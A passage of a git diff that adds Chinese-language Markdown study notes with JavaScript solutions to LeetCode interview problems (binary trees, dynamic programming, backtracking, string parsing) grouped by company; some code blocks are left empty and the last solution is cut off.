t.split('').sort().join(''); + return s === t; +}; +``` + +```js +// 哈希表 +var isAnagram = function(s, t) { + if (s.length !== t.length) { + return false; + } + const table = new Array(26).fill(0); + for (let i = 0; i < s.length; ++i) { + table[s.codePointAt(i) - 'a'.codePointAt(0)]++; // charCodeAt + } + for (let i = 0; i < t.length; ++i) { + table[t.codePointAt(i) - 'a'.codePointAt(0)]--; + if (table[t.codePointAt(i) - 'a'.codePointAt(0)] < 0) { + return false; + } + } + return true; +}; +``` + +## [1047. 删除字符串中的所有相邻重复项](https://leetcode-cn.com/problems/remove-all-adjacent-duplicates-in-string/) + +> 栈 因为不考虑连续多个,只有俩俩 + +```js +var removeDuplicates = function(s) { + const stk = []; + for (const ch of s) { // 好好学! + if (stk.length && stk[stk.length - 1] === ch) { + stk.pop(); + } else { + stk.push(ch); + } + } + return stk.join(''); +}; +``` + +## [1556. 千位分隔数](https://leetcode-cn.com/problems/thousand-separator/) + +```js +/** + * @param {number} n + * @return {string} + */ +var thousandSeparator = function (n) { + return n.toString().split('').reduce((pre, cur, index, arr) => { + if (index !== 0 && (arr.length - index) % 3 === 0) { + return pre + '.' + cur + } else { + return pre + cur + } + }, '') +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\277\253\346\211\213CodeTop.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\277\253\346\211\213CodeTop.md" new file mode 100644 index 00000000..54e1e49d --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\277\253\346\211\213CodeTop.md" @@ -0,0 +1,234 @@ +--- +date: 2022-03-22 +icon: page +--- + +# 快手CodeTop + +## [144. 二叉树的前序遍历](https://leetcode-cn.com/problems/binary-tree-preorder-traversal/) + +> dfs + +```js +/** + * @param {TreeNode} root + * @return {number[]} + */ +const preorderTraversal = function (root) { + let res = []; + const dfs = function (root) { + if (root === null) return; + //先序遍历所以从父节点开始 + res.push(root.val); + //递归左子树 + dfs(root.left); + //递归右子树 + dfs(root.right); + } + dfs(root); + return res; +}; +``` + +## [110. 平衡二叉树](https://leetcode-cn.com/problems/balanced-binary-tree/) + +> 基于计算二叉树深度的递归算法 +> +> ”如果左右最大深度大于 1,就不是平衡二叉树“ + +```js +/** + * @param {TreeNode} root + * @return {boolean} + */ +var isBalanced = function (root) { + // 记录二叉树是否平衡 + let flag = true; // 1 + const maxDepth = (root) => { + if (root == null) return 0; // 终止 + // 提前返回 + if (!flag) return; + let leftMaxDepth = maxDepth(root.left); + let rightMaxDepth = maxDepth(root.right); + // 如果左右最大深度大于 1,就不是平衡二叉树 + if (Math.abs(rightMaxDepth - leftMaxDepth) > 1) { // 2 + flag = false; + } + return 1 + Math.max(leftMaxDepth, rightMaxDepth); // 3 + }; + maxDepth(root); + return flag; +}; +``` + +## [7. 整数反转](https://leetcode-cn.com/problems/reverse-integer/) + +> 自己手撕一下 + +```js +/** + * @param {number} x + * @return {number} + */ +var reverse = function (x) { + const arr = x.toString().split(''); + let flag = arr[0]==='-' + if (flag) { + arr.shift(); + } + const ans = Number(arr.reverse().join('')) + if (ans > 2 ** 31 - 1 || ans < -(2 ** 31)) { + return 0 + } + return flag ? -ans : ans +}; + +``` + +> 官方秀一点 +> +> 每次除以10取到最低位,再逐个乘10至最高位 + +```js +var reverse = function(x) { + let rev = 0; + while (x !== 0) { + const digit = x % 10; + x = ~~(x / 10); + rev = rev * 10 + digit; + if (rev < Math.pow(-2, 31) || rev > Math.pow(2, 31) - 1) { + return 0; + } + } + return rev; +}; +``` + +## [227. 基本计算器 II](https://leetcode-cn.com/problems/basic-calculator-ii/) + +```js +var calculate = function(s) { + const nums = [] + let cur = 0 + let prevOp = '+' + s = s + '+' + + for (let i = 0; i < s.length; i++) { + if (s[i] >= '0' && s[i] <= '9') { + cur = cur * 10 + s[i].charCodeAt(0) -'0'.charCodeAt(0) + } else if (s[i] == ' ') { + continue + } else { + if (prevOp == '+') { + nums.push(cur) + } else if (prevOp == '-') { + nums.push( -1 * cur) + } else if (prevOp == '*') { + nums[nums.length - 1] *= cur + } else if (prevOp == '/') { + nums[nums.length - 1] = (nums[nums.length - 1] / cur) | 0 + } + prevOp = s[i] + cur = 0 + } + } + let sum = 0 + nums.forEach(v => { + sum += v + }) + return sum +}; +``` + +## [698. 划分为k个相等的子集](https://leetcode-cn.com/problems/partition-to-k-equal-sum-subsets/) + +```js +/** + * @param {number[]} nums + * @param {number} k + * @return {boolean} + */ +var canPartitionKSubsets = function (nums, k) { + // 排除一些基本情况 + if (k > nums.length) return false; + let sum = nums.reduce((pre, cur) => pre + cur); + if (sum % k != 0) return false; + /** + * 递归穷举 nums 中的每个数字 + * @param {*} nums + * @param {*} index 开始索引 + * @param {*} bucket 桶 + * @param {*} target 每个桶都需要达成的目标和 + */ + const backtrack = (nums, index, bucket, target) => { + // 检查所有桶的数字之和是否都是 target + if (index == nums.length) { + for (let i = 0; i < bucket.length; i++) { + if (bucket[i] != target) { + return false; + } + } + // nums 成功平分成 k 个子集 + return true; + } + // 穷举 nums[index] 可能装入的桶 + for (let i = 0; i < bucket.length; i++) { + // 剪枝,桶装装满了 + if (bucket[i] + nums[index] > target) { + continue; + } + // 将 nums[index] 装入 bucket[i] + bucket[i] += nums[index]; + // 递归穷举下一个数字的选择 + if (backtrack(nums, index + 1, bucket, target)) { + return true; + } + // 撤销选择 + bucket[i] -= nums[index]; + } + // nums[index] 装入哪个桶都不行 + return false; + }; + // k 个桶(集合),记录每个桶装的数字之和 + let bucket = new Array(k).fill(0); + // 理论上每个桶(集合)中数字的和 + let target = sum / k; + /* 降序排序 nums 数组 优化方式,以期尽快的命中剪枝*/ + nums.sort((a, b) => b - a); + // 穷举,看看 nums 是否能划分成 k 个和为 target 的子集 + return backtrack(nums, 0, bucket, target); +}; +``` + +## [231. 2 的幂](https://leetcode-cn.com/problems/power-of-two/) + +```js +var isPowerOfTwo = function(n) { + return n > 0 && (n & (n - 1)) === 0; // 1000 0111 +}; +``` + +## [剑指 Offer 45. 把数组排成最小的数](https://leetcode-cn.com/problems/ba-shu-zu-pai-cheng-zui-xiao-de-shu-lcof/) + +> 我们最终要达到的效果是把数组里所有数字拼接起来排成一个数,并且这个数是拼接的所有数字中最小的 +> 利用分治的思想,如果这个数组只有两个数字,那这两个数字(假设这俩数字叫a b)拼接的规则无非是ab或者ba,那么我们比较这俩拼接结果哪个小我们就采用哪个 + +```js +/** + * @param {number[]} nums + * @return {string} + */ +var minNumber = function (nums) { + return nums.sort((a, b) => `${a}${b}` - `${b}${a}`).join(""); // sort改变原数组内容 +}; +``` + +## [169. 多数元素](https://leetcode-cn.com/problems/majority-element/) + +```js +var majorityElement = function(nums) { + nums.sort() + return nums[parseInt(nums.length/2)] +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\346\213\274\345\244\232\345\244\232CodeTop.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\346\213\274\345\244\232\345\244\232CodeTop.md" new file mode 100644 index 00000000..58cbac15 --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\346\213\274\345\244\232\345\244\232CodeTop.md" @@ -0,0 +1,309 @@ +--- +icon: edit +date: 2022-03-19 +category: +- 面经 +- PDD +--- + +# 拼多多CodeTop + +#### [56. 合并区间](https://leetcode-cn.com/problems/merge-intervals/) + +```js +/** + * @param {number[][]} intervals + * @return {number[][]} + */ +var merge = function (intervals) { + let res = []; + intervals.sort((a, b) => a[0] - b[0]); + + let prev = intervals[0]; + + for (let i = 1; i < intervals.length; i++) { + let cur = intervals[i]; + if (prev[1] >= cur[0]) { // 有重合 + prev[1] = Math.max(cur[1], prev[1]); + } else { // 不重合,prev推入res数组 + res.push(prev); + prev = cur; // 更新 prev + } + } + + res.push(prev); + return res; +}; +``` + +#### [46. 全排列](https://leetcode-cn.com/problems/permutations/) + +```js +/** + * @param {number[]} nums + * @return {number[][]} + */ +var permute = function (nums) { + const res = [], path = [], used = new Array(nums.length).fill(false); + backtracking(nums, nums.length); + return res; + + function backtracking(n, k) { + if (path.length === k) { + res.push([...path]); + return; + } + for (let i = 0; i < k; i++) { + if (used[i]) continue; + + path.push(n[i]); + used[i] = true; // 同支 + + backtracking(n, k); + + path.pop(); + used[i] = false; + } + } +}; +``` + +#### [买卖股票的最佳时机](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock/) + +```js +/** + * @param {number[]} prices + * @return {number} + */ +var maxProfit = function(prices) { + let low = prices[0],height = Number.MIN_VALUE + prices.forEach((val)=>{ + low = Math.min(low,val) + height = Math.max(height,val-low) + }) + return height; +}; +``` + +#### [102. 二叉树的层序遍历](https://leetcode-cn.com/problems/binary-tree-level-order-traversal/) + +```js +/** + * Definition for a binary tree node. + * function TreeNode(val, left, right) { + * this.val = (val===undefined ? 0 : val) + * this.left = (left===undefined ? null : left) + * this.right = (right===undefined ? null : right) + * } + */ +/** + * @param {TreeNode} root + * @return {number[][]} + */ +const levelOrder = function(root) { + const ret = []; + if (!root) { + return ret; + } + + const q = []; + q.push(root); + while (q.length !== 0) { + const currentLevelSize = q.length; + ret.push([]); + for (let i = 1; i <= currentLevelSize; ++i) { + const node = q.shift(); + ret[ret.length - 1].push(node.val); + if (node.left) q.push(node.left); + if (node.right) q.push(node.right); + } + } + return ret; +}; +``` + +#### [54. 螺旋矩阵](https://leetcode-cn.com/problems/spiral-matrix/) + +```js +/** + * @param {number[][]} matrix + * @return {number[]} + */ +var spiralOrder = function(matrix) { + if (!matrix.length || !matrix[0].length) { + return []; + } + + const rows = matrix.length, columns = matrix[0].length; + const order = []; + let left = 0, right = columns - 1, top = 0, bottom = rows - 1; + while (left <= right && top <= bottom) { + for (let column = left; column <= right; column++) { + order.push(matrix[top][column]); + } + for (let row = top + 1; row <= bottom; row++) { + order.push(matrix[row][right]); + } + if (left < right && top < bottom) { + for (let column = right - 1; column > left; column--) { + order.push(matrix[bottom][column]); + } + for (let row = bottom; row > top; row--) { + order.push(matrix[row][left]); + } + } + [left, right, top, bottom] = [left + 1, right - 1, top + 1, bottom - 1]; + } + return order; +}; +``` + +#### [53. 最大子数组和](https://leetcode-cn.com/problems/maximum-subarray/) + +> 贪心,前为正则不断累加 + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var maxSubArray = function(nums) { + let maxSum = nums[0], preSum = 0 + for (let value of nums){ + if(preSum < 0){ + preSum = value + }else{ + preSum += value + } + maxSum = Math.max(preSum,maxSum) + } + return maxSum +}; + +``` + +#### [198. 打家劫舍](https://leetcode-cn.com/problems/house-robber/) + +> dp 不要触发报警的前提拿到最大值 + +状态转移方程 + +![image-20220318112334782](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220318112334782.png) + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var rob = function(nums) { + const len = nums.length; + if(len == 0) + return 0; + const dp = new Array(len + 1); + dp[0] = 0; + dp[1] = nums[0]; + for(let i = 2; i <= len; i++) { + dp[i] = Math.max(dp[i-1], dp[i-2] + nums[i-1]); + } + return dp[len]; +}; +``` + +#### [322. 零钱兑换](https://leetcode-cn.com/problems/coin-change/) + +> 贪心大法好 +> +> 解题思路来自Ikaruga +> 硬币降序排列,从0到数组长度拿硬币,优先用大额硬币兑换 +> amount / 硬币面值 取整 = 可用当前面值的硬币最多数量 +> amount = 0,一次兑换结束,更新最小兑换数量。 +> **剪枝:记录兑换数量,后续兑换数量不能大于最小兑换数量** + +```js + +``` + +> DP + +```js +/** + * @param {number[]} coins + * @param {number} amount + * @return {number} + */ +var coinChange = function(coins, amount) { + const dp = new Array(amount+1).fill(Number.MAX_SAFE_INTEGER); + dp[0] = 0; + for(let num of coins) { + for(let i=num; i<=amount; i++) { + dp[i] = Math.min(dp[i],dp[i-num]+1); // 记录之前的最小配比 + } + } + return dp[amount] === Number.MAX_SAFE_INTEGER ? -1 : dp[amount]; +}; +``` + +#### [剑指 Offer 62. 圆圈中最后剩下的数字](https://leetcode-cn.com/problems/yuan-quan-zhong-zui-hou-sheng-xia-de-shu-zi-lcof/) + +> 递归 + +```js +/** + * @param {number} n + * @param {number} m + * @return {number} + */ +var lastRemaining = function (n, m) { + const f = (n, m) => { + if (n === 1) { + return 0 + } + let x = f(n - 1, m) + return (m + x) % n + } + return f(n, m) +}; + +``` + + + +> 迭代 + +```js +/** + * @param {number} n + * @param {number} m + * @return {number} + */ +var lastRemaining = function (n, m) { + let res = 0; + for (let i = 2; i < n + 1; i++) { + res = (m + res) % i; + } + return res; +}; + +``` + + + +#### [190. 颠倒二进制位](https://leetcode-cn.com/problems/reverse-bits/) + +将 nn 视作一个长为 3232 的二进制串,从低位往高位枚举 nn 的每一位,将其倒序添加到翻转结果 \textit{rev}rev 中。 + +代码实现中,每枚举一位就将 nn 右移一位,这样当前 nn 的最低位就是我们要枚举的比特位。当 nn 为 00 时即可结束循环。 + +需要注意的是,在某些语言(如 \texttt{Java}Java)中,没有无符号整数类型,因此对 nn 的右移操作应使用逻辑右移。 + +```js +var reverseBits = function(n) { + let rev = 0; + for (let i = 0; i < 32 && n > 0; ++i) { + rev |= (n & 1) << (31 - i); + n >>>= 1; + } + return rev >>> 0; +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\347\276\216\345\233\242CodeTop.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\347\276\216\345\233\242CodeTop.md" new file mode 100644 index 00000000..8fa91c59 --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\347\276\216\345\233\242CodeTop.md" @@ -0,0 +1,325 @@ +--- +icon: edit +date: 2022-03-15 +category: +- 牛客 +- 美团 +--- + +# 美团CodeTop + + + +```js +// 5. 动态规划:从起始点到终点 +var minPathSum = function(grid) { + const m = grid.length, n = grid[0].length + + // 状态定义:dp[i][j] 表示从 [0,0] 到 [i,j] 的最小路径和 + const dp = new Array(m).fill(0).map(() => new Array(n).fill(0)) + + // 状态初始化 + dp[0][0] = grid[0][0] + + // 状态转移 + for (let i = 0; i < m ; i++) { + for (let j = 0; j < n ; j++) { + if (i == 0 && j != 0) { + dp[i][j] = grid[i][j] + dp[i][j - 1] + } else if (i != 0 && j == 0) { + dp[i][j] = grid[i][j] + dp[i - 1][j] + } else if (i != 0 && j != 0) { + dp[i][j] = grid[i][j] + Math.min(dp[i - 1][j], dp[i][j - 1]) + } + } + } + + // 返回结果 + return dp[m - 1][n - 1] +} +``` + +#### [718. 最长重复子数组](https://leetcode-cn.com/problems/maximum-length-of-repeated-subarray/) + +> 暴力 + +```js +const findLength = (A, B) => { + const m = A.length; + const n = B.length; + let res = 0; + for (let i = 0; i < m; i++) { + for (let j = 0; j < n; j++) { + if (A[i] == B[j]) { // 遇到相同项 + let subLen = 1; // 公共子序列长度至少为1 + while (i + subLen < m && j + subLen < n && A[i + subLen] == B[j + subLen]) { //新的一项也相同 + subLen++; // 公共子序列长度每次增加 1,考察新的一项 + } + res = Math.max(subLen, res); + } + } + } + return res; +}; +``` + +![image.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/9b80364c7936ad0fdca0e9405025b2a207a10322e16872a6cb68eb163dee25ee-image.png) + +> DP + +```js +/** + * @param {number[]} nums1 + * @param {number[]} nums2 + * @return {number} + */ +const findLength = (nums1, nums2) => { + // nums1、nums2数组的长度 + const [m, n] = [nums1.length, nums2.length]; + // dp数组初始化,都初始化为0 !! + const dp = new Array(m + 1).fill(0).map(x => new Array(n + 1).fill(0)); + // 初始化最大长度为0 + let res = 0; + for (let i = 1; i <= m; i++) { + for (let j = 1; j <= n; j++) { + // 遇到nums1[i - 1] === nums2[j - 1],则更新dp数组 + if (nums1[i - 1] === nums2[j - 1]) { + dp[i][j] = dp[i - 1][j - 1] + 1; + } + // 更新res + res = dp[i][j] > res ? dp[i][j] : res; + } + } + // 遍历完成,返回res + return res; +}; +``` + +#### [24. 两两交换链表中的节点](https://leetcode-cn.com/problems/swap-nodes-in-pairs/) + +![image-20220330214024553](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220330214024553.png) + +```js +/** + * Definition for singly-linked list. + * function ListNode(val, next) { + * this.val = (val===undefined ? 0 : val) + * this.next = (next===undefined ? null : next) + * } + */ +/** + * @param {ListNode} head + * @return {ListNode} + */ +var swapPairs = function(head) { + if (head === null|| head.next === null) { + return head; // 终止条件 + } + const newHead = head.next; + head.next = swapPairs(newHead.next); // 子链来自后递归 + newHead.next = head; + return newHead; +}; +``` + +#### [48. 旋转图像](https://leetcode-cn.com/problems/rotate-image/) + +> 旋转二位矩阵 + +> 创建新的矩阵 + +```js +var rotate = function(matrix) { + const n = matrix.length; + const matrix_new = new Array(n).fill(0).map(() => new Array(n).fill(0)); + for (let i = 0; i < n; i++) { + for (let j = 0; j < n; j++) { + matrix_new[j][n - i - 1] = matrix[i][j]; // 行变列,列数值变成最后一个 + } + } + for (let i = 0; i < n; i++) { + for (let j = 0; j < n; j++) { + matrix[i][j] = matrix_new[i][j]; + } + } +}; +``` + +```js +var rotate = function(matrix) { + const n = matrix.length; + for (let i = 0; i < Math.floor(n / 2); ++i) { + for (let j = 0; j < Math.floor((n + 1) / 2); ++j) { + const temp = matrix[i][j]; + matrix[i][j] = matrix[n - j - 1][i]; + matrix[n - j - 1][i] = matrix[n - i - 1][n - j - 1]; + matrix[n - i - 1][n - j - 1] = matrix[j][n - i - 1]; + matrix[j][n - i - 1] = temp; + } + } +}; +``` + +#### [69. x 的平方根 ](https://leetcode-cn.com/problems/sqrtx/) + +```js +/** + * @param {number} x + * @return {number} + */ +var mySqrt = function(x) { + let r = x + + while (r ** 2 > x) { + r = ~~((r + x / r) / 2) + }//取整 + + return r +}; +``` + +#### [剑指 Offer 10- II. 青蛙跳台阶问题](https://leetcode-cn.com/problems/qing-wa-tiao-tai-jie-wen-ti-lcof/) + +```js +/** + * @param {number} n + * @return {number} + */ +var numWays = function(n) { + let sum = 0; + let x = 1; + let y = 1; + for(let i =0;i < n;i++){ + sum = (x + y); + x = y; + y = sum + } + return x; +}; +``` + +#### [387. 字符串中的第一个唯一字符](https://leetcode-cn.com/problems/first-unique-character-in-a-string/) + +**使用哈希表存储索引** + +`Object.entries()`方法返回一个给定对象自身可枚举属性的键值对数组,其排列与使用 [for...in...] 循环遍历该对象时返回的顺序一致(区别在于 for-in 循环还会枚举原型链中的属性)。 + +```js +var firstUniqChar = function(s) { + const position = new Map(); + const n = s.length; + for (let [i, ch] of Array.from(s).entries()) { + if (position.has(ch)) { + position.set(ch, -1); + } else { + position.set(ch, i); + } + } + let first = -1; + for (let pos of position.values()) { + if (pos !== -1 && pos > first) { + first = pos; + } + } + return first; +}; +``` + +**队列** + +```js +var firstUniqChar = function(s) { + const position = new Map(); + const q = []; + const n = s.length; + for (let [i, ch] of Array.from(s).entries()) { + if (!position.has(ch)) { + position.set(ch, i); + q.push([s[i], i]); + } else { + position.set(ch, -1); + while (q.length && position.get(q[0][0]) === -1) { + q.shift(); + } + } + } + return q.length ? q[0][1] : -1; +}; +``` + +```js +var firstUniqChar = function (str) { + const obj = {} + Array.from(str).forEach((val, index) => { + if (obj[val]) { + obj[val] = -1; + } else { + obj[val] = index; + } + }) + let ans = -1; + for (const key in obj) { + let val = obj[key]; + if (val !== -1) { + if (ans === -1) ans = val; + ans = Math.min(ans, val); + } + } + return ans; +}; +``` + +#### [172. 阶乘后的零](https://leetcode-cn.com/problems/factorial-trailing-zeroes/) + +> 5 的个数 + +```js +var trailingZeroes = function(n) { + let ans = 0; + for (let i = 5; i <= n; i += 5) { + for (let x = i; x % 5 == 0; x /= 5) { + ++ans; + } + } + return ans; +}; +``` + +#### [1518. 换酒问题](https://leetcode-cn.com/problems/water-bottles/) + +```js +var numWaterBottles = function(numBottles, numExchange) { + let bottle = numBottles, ans = numBottles; + while (bottle >= numExchange) { + bottle -= numExchange; + ++ans; + ++bottle; + } + return ans; +}; +``` + +#### [557. 反转字符串中的单词 III](https://leetcode-cn.com/problems/reverse-words-in-a-string-iii/) + +```js +var reverseWords = function(s) { + const ret = []; + const length = s.length; + let i = 0; + while (i < length) { + let start = i; + while (i < length && s.charAt(i) != ' ') { + i++; + } + for (let p = start; p < i; p++) { + ret.push(s.charAt(start + i - 1 - p)); + } + while (i < length && s.charAt(i) == ' ') { + i++; + ret.push(' '); + } + } + return ret.join(''); +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\350\205\276\350\256\257 CodeTop.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\350\205\276\350\256\257 CodeTop.md" new file mode 100644 index 00000000..c15d7adc --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\350\205\276\350\256\257 CodeTop.md" @@ -0,0 +1,724 @@ +--- +date: 2022-04-07 +icon: page +--- + +# 腾讯 CodeTop + +#### [459. 重复的子字符串](https://leetcode-cn.com/problems/repeated-substring-pattern/) + +> 老规矩,先去除异常情况 +> 观察一下如果有循环子串会有什么规律 +> +> 完全由单个字母组成 +> 由多个字母组成的话,子串的结尾一定跟 s 的结尾字母一致,同时s % 子串.length === 0,否则肯定拼不上 +> 然后遍历找到所有符合要求的就行了 + +```js +var repeatedSubstringPattern = function (s) { + // 1 清理异常 + if (s.length === 1) return false + if (s.length === 2) return s[0] === s[1] + + // 2 判断是否由单个字母组成 + let l = s.length + let end = s[l - 1] + if (s[0] === end) { + if (s[0].repeat(s.length) === s) { + return true + } + } + + // 遍历找到子串判断是否由多个组成 + for (let i = 1; i < l / 2; i++) { + // 子串需要满足如下条件, 1.结尾跟 end 一直, 2.s.length % 子串.length === 0, 3. 循环s.length/子串.length === s + if (s[i] === end && l % (i + 1) === 0 && s.slice(0, i + 1).repeat(l / (i + 1)) === s) { + return true + } + } + return false +}; +``` + +#### [35. 搜索插入位置](https://leetcode-cn.com/problems/search-insert-position/) + +> nlog(n) 二分查找 + +```js +var searchInsert = function(nums, target) { + const n = nums.length; + let left = 0, right = n - 1, ans = n; + while (left <= right) { + let mid = (right + left) >> 1; + if (target <= nums[mid]) { + ans = mid; + right = mid - 1; + } else { + left = mid + 1; + } + } + return ans; +}; +``` + +#### [876. 链表的中间结点](https://leetcode-cn.com/problems/middle-of-the-linked-list/) + +> `Math.trunc()` 方法会将数字的小数部分去掉,只保留整数部分 + +```js +var middleNode = function(head) { + let A = [head]; + while (A[A.length - 1].next != null) // 数组末尾节点的下一个不是null + A.push(A[A.length - 1].next); + return A[Math.trunc(A.length / 2)]; // 取整 +}; +``` + +#### [1013. 将数组分成和相等的三个部分](https://leetcode-cn.com/problems/partition-array-into-three-parts-with-equal-sum/) + +```js +/** + * @param {number[]} arr + * @return {boolean} + */ +var canThreePartsEqualSum = function(arr) { + let sum = arr.reduce((a,b) => a + b); + let num = 3; + let temp = 0; + for(let a of arr){ + temp += a; + if (temp === sum / 3) num--, temp = 0; // 顺序切片 + } + return num <= 0; +}; +``` + +#### [22. 括号生成](https://leetcode.cn/problems/generate-parentheses/) + +数字 `n` 代表生成括号的对数,请你设计一个函数,用于能够生成所有可能的并且 **有效的** 括号组合。 + +``` +输入:n = 3 +输出:["((()))","(()())","(())()","()(())","()()()"] +``` + +**回溯算法,死抓三点** + +- 选择 + - 在这里,每次最多两个选择,选左括号或右括号,“选择”会展开出一棵解的空间树。 + - 用 DFS 遍历这棵树,找出所有的解,这个过程叫回溯。 +- 约束条件 + - 即,什么情况下可以选左括号,什么情况下可以选右括号。 + - 利用约束做“剪枝”,即,去掉不会产生解的选项,即,剪去不会通往合法解的分支。 + 比如(),现在左右括号各剩一个,再选)就成了()),不能让这个错的选择成为选项(不落入递归): + +```js +if (right > left) { // 右括号剩的比较多,才能选右括号 + dfs(str + ')', left, right - 1); +} +``` + +- 目标 + + 构建出一个用尽 n 对括号的合法括号串。 + 意味着,当构建的长度达到 2*n,就可以结束递归(不用继续选了)。 + +```js +var generateParenthesis = function (n) { + const res = []; + + const dfs = (lRemain, rRemain, str) => { // 左右括号所剩的数量,str是当前构建的字符串 + if (str.length == 2 * n) { // 字符串构建完成 + res.push(str); // 加入解集 + return; // 结束当前递归分支 + } + if (lRemain > 0) { // 只要左括号有剩,就可以选它,然后继续做选择(递归) + dfs(lRemain - 1, rRemain, str + "("); + } + if (lRemain < rRemain) { // 右括号比左括号剩的多,才能选右括号 + dfs(lRemain, rRemain - 1, str + ")"); // 然后继续做选择(递归) + } + }; + + dfs(n, n, ""); // 递归的入口,剩余数量都是n,初始字符串是空串 + return res; +}; +``` + +#### [153. 寻找旋转排序数组中的最小值](https://leetcode.cn/problems/find-minimum-in-rotated-sorted-array/) + +![fig1](https://cdn.yihuiblog.top/images/1.png) + +```js +var findMin = function(nums) { + let low = 0; + let high = nums.length - 1; + while (low < high) { + const pivot = low + Math.floor((high - low) / 2); + if (nums[pivot] < nums[high]) { + high = pivot; + } else { + low = pivot + 1; + } + } + return nums[low]; +}; +``` + +#### [补充题:检测循环依赖](https://mp.weixin.qq.com/s/pCRscwKqQdYYN7M1Sia7xA) + +> 拓扑排序 + +js实现 + +```js +``` + + + +```python +def haveCircularDependency(self, n: int, prerequisites): + g = [[]for i in range(n)] #邻接表存储图结构 + indeg = [0 for i in range(n)] #每个点的入度 + res = [] #存储结果序列 + q = deque() + #将依赖关系加入邻接表中g,并各个点入度 + for pre in prerequisites: + a, b = pre[0], pre[1] + g[a].append(b) + indeg[b] += 1 + #一次性将入度为0的点全部入队 + for i in range(n): + if indeg[i] == 0: + q.append(i) + while q: + t = q.popleft() + res.append(t) + #删除边时,将终点的入度-1。若入度为0,果断入队 + for j in g[t]: + indeg[j] -= 1 + if indeg[j] == 0: + q.append(j) + if len(res) == n: + return res + else: + return [] +``` + +#### [IP地址与int整数的转换](https://mp.weixin.qq.com/s/UWCuEtNS2kuAuDY-eIbghg) + +> 例如,ip地址为10.0.3.193,把每段拆分成一个二进制形式组合起来为`00001010 00000000 00000011 11000001`,然后把这个二进制数转变成十进制整数就是167773121。 + +![](https://cdn.yihuiblog.top/images/202206241516296.png) + +```js +const solution = (ip) => { + const arr = ip.split('.'); + let res = 0; + arr.forEach((item, index) => { + res += parseInt(item) << ((3 - index) * 8) + }) + return res; +} +``` + +#### [107. 二叉树的层序遍历 II](https://leetcode.cn/problems/binary-tree-level-order-traversal-ii/) + +> 给你二叉树的根节点 `root` ,返回其节点值 **自底向上的层序遍历** 。 (即按从叶子节点所在层到根节点所在的层,逐层从左向右遍历) + + + +#### [402. 移掉 K 位数字](https://leetcode.cn/problems/remove-k-digits/) + +```js +var removeKdigits = function(num, k) { + const stk = []; + for (const digit of num) { + while (stk.length > 0 && stk[stk.length - 1] > digit && k) { + stk.pop(); + k -= 1; + } + stk.push(digit); + } + // 此时已从小到大排列 + + for (; k > 0; --k) { + stk.pop(); // 删除尾部还要删除的项目 + } + + let ans = ""; + let isLeadingZero = true; + for (const digit of stk) { + if (isLeadingZero && digit === '0') { + continue; + } + isLeadingZero = false; + ans += digit; + } + return ans === "" ? "0" : ans; +}; +``` + +#### [8. 字符串转换整数 (atoi)](https://leetcode.cn/problems/string-to-integer-atoi/) + +模拟自动机: + +![fig1](https://cdn.yihuiblog.top/images/202206281457630.png) + +我们也可以用下面的表格来表示这个自动机: + +![image-20220628145834471](https://cdn.yihuiblog.top/images/202206281458525.png) + +```js +/** + * @param {string} str + * @return {number} + */ +var myAtoi = function(str) { + // 自动机类 + class Automaton{ + constructor() { + // 执行阶段,默认处于开始执行阶段 + this.state = 'start'; + // 正负符号,默认是正数 + this.sign = 1; + // 数值,默认是0 + this.answer = 0; + /* + 关键点: + 状态和执行阶段的对应表 + 含义如下: + [执行阶段, [空格, 正负, 数值, 其他]] + */ + this.map = new Map([ + ['start', ['start', 'signed', 'in_number', 'end']], + ['signed', ['end', 'end', 'in_number', 'end']], + ['in_number', ['end', 'end', 'in_number', 'end']], + ['end', ['end', 'end', 'end', 'end']] + ]) + } + + // 获取状态的索引 + getIndex(char) { + if (char === ' ') { + // 空格判断 + return 0; + } else if (char === '-' || char === '+') { + // 正负判断 + return 1; + } else if (typeof Number(char) === 'number' && !isNaN(char)) { + // 数值判断 + return 2; + } else { + // 其他情况 + return 3; + } + } + + /* + 关键点: + 字符转换执行函数 + */ + get(char) { + /* + 易错点: + 每次传入字符时,都要变更自动机的执行阶段 + */ + this.state = this.map.get(this.state)[this.getIndex(char)]; + + if(this.state === 'in_number') { + /* + 小技巧: + 在JS中,对字符串类型进行减法操作,可以将得到一个数值型(Number)的值 + + 易错点: + 本处需要利用括号来提高四则运算的优先级 + */ + this.answer = this.answer * 10 + (char - 0); + + /* + 易错点: + 在进行负数比较时,需要将INT_MIN变为正数 + */ + this.answer = this.sign === 1 ? Math.min(this.answer, Math.pow(2, 31) - 1) : Math.min(this.answer, -Math.pow(-2, 31)); + } else if (this.state === 'signed') { + /* + 优化点: + 对于一个整数来说,非正即负, + 所以正负号的判断,只需要一次。 + 故,可以降低其判断的优先级 + */ + this.sign = char === '+' ? 1 : -1; + } + } + } + + // 生成自动机实例 + let automaton = new Automaton(); + + // 遍历每个字符 + for(let char of str) { + // 依次进行转换 + automaton.get(char); + } + + // 返回值,整数 = 正负 * 数值 + return automaton.sign * automaton.answer; +}; +``` + +#### [670. 最大交换](https://leetcode.cn/problems/maximum-swap/) + +> 参考递减规则,贪心算法 +> +> 核心就一句话:就是把第一个小数和它后面最大的大数进行交换 + +```js +/** + * @param {number} num + * @return {number} + */ +var maximumSwap = function (num) { + let last = new Array(10).fill(-1); + num = Array.from(num.toString()); + //找到相同值最后出现的位置 + for (let i = 0; i < num.length; i++) { + last[num[i] - '0'] = i; + } + //原数组从左到右遍历,索引数组从后往前遍历 + 